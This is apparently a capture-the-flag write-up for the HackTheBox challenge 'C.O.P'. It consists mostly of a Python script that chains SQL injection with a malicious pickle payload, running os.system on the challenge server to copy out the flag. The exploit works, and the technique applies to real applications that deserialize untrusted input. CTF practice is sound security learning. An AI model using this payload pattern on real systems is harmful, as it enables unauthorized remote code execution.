C.O.P (HackTheBox): SQL Injection → Pickle Deserialization RCE

110 words
1 minute
C.O.P (HackTheBox): SQL Injection → Pickle Deserialization RCE

image
image

import pickle
import base64
import os
import requests
# Payload to be executed on the server
payload = 'cp flag.txt application/static/achux21.txt'
# Class definition for creating a serialized payload using Pickle
class RCE:
def __reduce__(self):
return os.system, (payload,)
# If the script is run directly, not imported as a module
if __name__ == '__main__':
# Serialize the payload using Pickle and encode it in base64
var = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii')
# Craft a URL to trigger the SQL injection vulnerability
# The UNION SELECT statement is used to inject the serialized payload
r = requests.get(f"http://167.99.82.136:30931/view/%27%20UNION%20SELECT%27{var}")
# Retrieve the result of the executed payload
flag = requests.get(f"http://167.99.82.136:30931/static/achux21.txt")
# Print the result (flag)
print(flag.text)

Share Article

If this article helped you, please share it with others!

C.O.P (HackTheBox): SQL Injection → Pickle Deserialization RCE
https://achux21.github.io/posts/cop/
Author
ACHUX21
Published at
2024-01-15
License
CC BY-NC-SA 4.0
Profile Image of the Author
ACHUX21
CTF player & security researcher
Notice
CTF writeups and security research. New posts coming soon.
Music
Cover

Music

No playing

0:00 0:00
No lyrics available
Categories
Tags
Site Statistics
Posts
28
Categories
3
Tags
81
Total Words
26,137
Running Days
0 days
Last Activity
0 days ago

Table of Contents